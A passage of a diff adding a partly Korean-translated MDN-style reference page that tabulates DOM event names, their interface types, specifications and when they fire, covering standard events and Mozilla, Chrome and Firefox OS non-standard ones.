+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGAbort")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGError")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGLoad")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGResize")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGScroll")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGUnload")}}</td>
+   <td>{{DOMxRef("SVGEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+  </tr>
+  <tr>
+   <td>{{Event("SVGZoom")}}</td>
+   <td>{{DOMxRef("SVGZoomEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("timeout")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("timeupdate")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchcancel")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+   <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchend")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+   <td>A touch point is removed from the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchmove")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+   <td>A touch point is moved along the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchstart")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+   <td>A touch point is placed on the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitionend")}}</td>
+   <td>{{DOMxRef("TransitionEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("unload")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The document or a dependent resource is being unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("updateready")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+  </tr>
+  <tr>
+   <td>{{Event("userproximity")}}</td>
+   <td>{{DOMxRef("UserProximityEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName("Proximity Events")}}</td>
+   <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+  </tr>
+  <tr>
+   <td>{{Event("voiceschanged")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The list of {{DOMxRef("SpeechSynthesisVoice")}} objects that would be returned by the {{DOMxRef("SpeechSynthesis.getVoices()")}} method has changed (when the {{Event("voiceschanged")}} event fires.)</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A <code>versionchange</code> transaction completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("visibilitychange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+   <td>The content of a tab has become visible or has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{Event("volumechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("waiting")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+   <td>Playback has stopped because of a temporary lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{Event("wheel")}}{{gecko_minversion_inline("17")}}</td>
+   <td>{{DOMxRef("WheelEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A wheel button of a pointing device is rotated in any direction.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="비표준_이벤트">비표준 이벤트</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">이벤트 타입</th>
+   <th scope="col">명세</th>
+   <th scope="col">발생하는 시점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("afterscriptexecute")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>스크립트가 실행되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforescriptexecute")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>스크립트가 실행될 때 쯤.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeinstallprompt")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Chrome specific</em></td>
+   <td>사용자가 웹사이트를 모바일의 홈 화면에 저장하기 위한 프롬프트를 했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("cardstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>{{DOMxRef("MozMobileConnection.cardState")}} 속성이 값을 변경할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("change")}}</td>
+   <td>{{DOMxRef("DeviceStorageChangeEvent")}}</td>
+   <td><em>Firefox OS specific</em></td>
+   <td>이 이벤트는 파일이 주어진 저장소에서 생성, 수정, 삭제될 때마다 실행됩니다.</td>
+  </tr>
+  <tr>
+   <td>{{Event("connectionInfoUpdate")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
+   <td>신호 강도에 대한 정보와 링크 속도가 업데이트 되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("cfstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>착신 전환 상태가 변경될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("datachange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>{{DOMxRef("MozMobileConnection.data")}} 객체가 값을 변경할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dataerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>{{DOMxRef("MozMobileConnection.data")}} 객체가 <abbr title="Radio Interface Layer">RIL</abbr> 로부터 에러를 수신했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMMouseScroll")}}{{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>포인팅 장치의 휠 버튼이 회전했을 때(detail 속성은 라인의 수 입니다). (대신 {{Event("wheel")}} 을 사용하세요)</td>
+  </tr>
+  <tr>
+   <td><code>dragdrop</code> {{Deprecated_Inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>엘리먼트가 드랍됐을 때(대신 {{Event("drop")}} 을 사용하세요).</td>
+  </tr>
+  <tr>
+   <td><code>dragexit</code> {{Deprecated_Inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>드래그 작업이 종료될 때(대신 {{Event("dragend")}} 를 사용하세요).</td>
+  </tr>
+  <tr>
+   <td><code>draggesture</code> {{Deprecated_Inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>사용자가 엘리먼트나 텍스트 선택을 드래그하기 시작할 때(대신 {{Event("dragstart")}} 를 사용하세요).</td>
+  </tr>
+  <tr>
+   <td>{{Event("icccardlockerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>{{DOMxRef("MozMobileConnection.unlockCardLock()")}} 또는 {{DOMxRef("MozMobileConnection.setCardLock()")}} 메소드가 실패할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("iccinfochange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>{{DOMxRef("MozMobileConnection.iccInfo")}} 객체가 변경할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("localized")}}</td>
+   <td></td>
+   <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+   <td>페이지가 data-l10n-* 속성을 사용해 지역화되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousewheel")}}{{Deprecated_Inline}}</td>
+   <td></td>
+   <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+   <td>포인팅 장치의 휠 버튼이 회전했을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozAudioAvailable")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>오디오 버퍼가 가득차고 해당되는 원본 샘플이 사용가능 할 때.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize"><code>MozBeforeResize</code></a> {{Obsolete_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>창이 리사이즈 될 때 쯤.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseractivitydone")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>어떤 활동이 완료될 때 전송됩니다(전체 설명 미정.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserasyncscroll")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 의 스크롤 위치가 변경될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseraudioplaybackchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 컨텐츠의 오디오 재생이 시작되거나 중지될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsercaretstatechanged")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 컨텐츠내의 선택된 텍스트가 변경할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserclose")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 에서 window.close() 가 호출될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsercontextmenu")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 이 컨텍스트 메뉴 열기를 시도할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserdocumentfirstpaint")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 내의 다큐먼트에서 새로운 페인트가 발생할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsererror")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 iframe 에서 컨텐츠 로딩을 시도하는동안 에러가 발생할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserfindchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 {{HTMLElement("iframe")}} 컨텐츠에서 검색 작업이 실행될 때(<a href="/en-US/docs/Web/API/HTMLIFrameElement#Search_methods">HTMLIFrameElement search methods</a> 문서를 보세요.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserfirstpaint")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>{{HTMLElement("iframe")}} 이 첫 번째로 컨텐츠를 페인트할 때(about:blank 에서의 첫 페인트는 포함하지 않습니다.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsericonchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 iframe 의 favicon 이 변경될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserlocationchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 iframe 의 위치가 변경될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserloadend")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 iframe 이 모든 자원의 로딩을 마쳤을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserloadstart")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>브라우저 irame 이 새로운 페이지 로딩을 시작할 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsermanifestchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>열린 웹 앱이 포함된 브라우저 {{HTMLElement("iframe")}} 의 경우, 앱 매니페스트의 경로가 변경될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsermetachange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>{{htmlelement("meta")}} 엘리먼트가 브라우저 {{HTMLElement("iframe")}} 의 컨텐츠에서 추가, 제거, 변경될 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseropensearch")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>검색 엔진의 링크가 발견되었을 때.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseropentab")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example <kbd>ctrl</kbd>/<kbd>cmd</kbd> + click.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowseropenwindow")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when {{DOMxRef("window.open()")}} is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserresize")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser {{HTMLElement("iframe")}}'s window size has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserscroll")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser {{HTMLElement("iframe")}} content scrolls.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserscrollareachanged")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserscrollviewchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when asynchronous scrolling (i.e. APCZ) starts or stops.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsersecuritychange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the SSL state changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserselectionstatechanged")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{Event("mozbrowsercaretstatechanged")}} instead.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsershowmodalprompt")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when {{DOMxRef("window.alert","alert()")}}, {{DOMxRef("window.confirm","confirm()")}} or {{DOMxRef("window.prompt","prompt()")}} are called within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowsertitlechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the document.title changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowserusernameandpasswordrequired")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an HTTP authentification is requested.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mozbrowservisibilitychange")}}</td>
+   <td></td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{DOMxRef("HTMLIFrameElement.setVisible","setVisible()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozGamepadButtonDown")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozGamepadButtonUp")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is released.</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozMousePixelScroll")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozOrientation")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+  </tr>
+  <tr>
+   <td>{{Event("MozScrolledAreaChanged")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The document view has been scrolled or resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("moztimechange")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The time of the device has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is removed from the touch surface (use touchend instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("alerting")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The correspondent is being alerted (his/her phone is ringing).</td>
+  </tr>
+  <tr>
+   <td>{{Event("busy")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The line of the correspondent is busy.</td>
+  </tr>
+  <tr>
+   <td>{{Event("callschanged")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been added or removed from the list of current calls.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{Event("connected")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("connecting")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to connect.</td>
+  </tr>
+  <tr>
+   <td>{{Event("delivered")}}</td>
+   <td>{{DOMxRef("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been successfully delivered.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dialing")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The number of a correspondent has been dialed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("disabled")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been disabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{Event("disconnected")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("disconnecting")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to disconnect.</td>
+  </tr>
+  <tr>
+   <td>{{Event("enabled")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been enabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error_(Telephony)","error")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An error occurred.</td>
+  </tr>
+  <tr>
+   <td>{{Event("held")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been held.</td>
+  </tr>
+  <tr>
+   <td>{{Event("holding")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to be held.</td>
+  </tr>
+  <tr>
+   <td>{{Event("incoming")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is being received.</td>
+  </tr>
+  <tr>
+   <td>{{Event("received")}}</td>
+   <td>{{DOMxRef("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been received.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resuming")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to resume.</td>
+  </tr>
+  <tr>
+   <td>{{Event("sent")}}</td>
+   <td>{{DOMxRef("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been sent.</td>
+  </tr>
+  <tr>
+   <td>{{Event("statechange")}}</td>
+   <td>{{DOMxRef("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The state of a call has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("statuschange")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
+   <td>The status of the Wifi connection changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("overflow")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td>{{Event("smartcard-insert")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("smartcard-remove")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stkcommand")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stksessionend")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td></td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A generic composition event occurred.</td>
+  </tr>
+  <tr>
+   <td>{{Event("touchenter")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("touchleave")}}</td>
+   <td>{{DOMxRef("TouchEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("underflow")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
